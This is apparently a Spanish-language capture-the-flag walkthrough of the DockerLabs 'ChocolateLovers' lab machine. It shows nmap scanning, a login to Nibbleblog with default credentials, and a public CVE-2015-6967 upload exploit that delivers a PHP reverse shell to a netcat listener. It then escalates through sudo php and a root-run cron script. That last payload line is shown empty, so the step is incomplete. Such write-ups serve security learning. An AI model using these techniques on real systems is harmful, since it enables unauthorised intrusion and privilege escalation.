> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/chocolatelovers.md).
# ChocolateLovers
### **Despliegue de la Máquina:**
#### **1. Descarga:**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **ChocolateLovers** y pulsamos el botón de descarga.
Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.
#### **2. Descompresión:**
Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `chocolatelovers.zip`:
```bash
7z x chocolatelovers.zip
```
#### **3. Ejecución:**
Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `chocolatelovers.tar`:
```bash
bash auto_deploy.sh chocolatelovers.tar
```
***
### **Reconocimiento:**
#### **1. Verificación de Conectividad:**
Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2. Escaneo de Puertos:**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Explicación de los parámetros:**
* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato Grepable en el archivo `allPorts`.
**Resultado del escaneo:**
* **Puerto 80:** `HTTP`.
#### **3. Escaneo Detallado:**
Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:
```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```
**Explicación de los parámetros:**
* `-p80`: Especifica el puerto a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.
**Resultado del escaneo:**
* **Puerto 80:** `Apache httpd 2.4.41`.
#### **4. Análisis del Servicio Web:**
Accedemos al sitio web en `http://172.17.0.2/` y encontramos la página por defecto de Apache.
Al inspeccionar el código fuente, observamos múltiples comentarios que hacen referencia a `/nibbleblog`.
Accedemos al directorio `http://172.17.0.2/nibbleblog/` y confirmamos que se está ejecutando **Nibbleblog**, un sistema de gestión de contenido (CMS).
#### **5. Acceso al Panel de Administración:**
El mensaje "Start publishing from your dashboard" nos dirige al panel de administración: `http://172.17.0.2/nibbleblog/admin.php`.
Para poder acceder, primero tenemos que iniciar sesión.
Probamos las credenciales por defecto `admin:admin` y logramos acceder con permisos de administrador.
Verificamos la versión del CMS en el apartado de ajustes: **Nibbleblog 4.0.3 "Coffee"**, vulnerable a **Arbitrary File Upload** (`CVE-2015-6967`).
***
### **Explotación:**
#### **1. Búsqueda y Descarga del Exploit:**
Localizamos un exploit público en GitHub que aprovecha la vulnerabilidad [CVE-2015-6967](https://github.com/dix0nym/CVE-2015-6967).
Clonamos el repositorio en nuestro equipo:
```bash
git clone https://github.com/dix0nym/CVE-2015-6967
```
#### **2. Preparación del Exploit:**
Asignamos permisos de ejecución al script:
```bash
chmod u+x exploit.py
```
El exploit utiliza la extensión `my_image` para subir archivos arbitrarios.
Instalamos dicha extensión desde el panel de administración.
#### **3. Creación y Subida de una Reverse Shell:**
Generamos una reverse shell en [revshells.com](https://www.revshells.com/) y la guardamos como `ReverseShell.php`.
Nos ponemos en escucha en nuestro equipo:
```bash
nc -lvnp 123
```
Ejecutamos el exploit:
```bash
python3 exploit.py --url http://172.17.0.2/nibbleblog/ --username admin --password admin --payload ../ReverseShell.php
```
Recibimos la shell en nuestra consola, confirmando la ejecución exitosa.
***
### **Escalada de Privilegios:**
#### **1. Análisis de Privilegios:**
Ejecutamos `sudo -l` para ver los privilegios del usuario actual (`www-data`).
**Resultado:** Podemos ejecutar `/usr/bin/php` como el usuario `chocolate` sin proporcionar contraseña.
#### **2. Explotación de PHP:**
Consultamos [GTFOBins](https://gtfobins.github.io/gtfobins/php/) y encontramos una forma de escalar privilegios:
```bash
CMD="/bin/bash"
```
```bash
sudo -u chocolate php -r "system('$CMD');"
```
#### **3. Escalada a Root:**
Listamos los procesos en ejecución:
```bash
ps -aux
```
Detectamos que el usuario `root` ejecuta periódicamente el script `/opt/script.php`.
Modificamos el script para otorgar permisos SUID a `/bin/bash`:
```bash
echo '' > script.php
```
Esperamos a que el script sea ejecutado por `root` y luego ejecutamos:
```bash
bash -p
```
**Resultado:** Obtenemos una shell con privilegios de `root`, completando así la escalada de privilegios.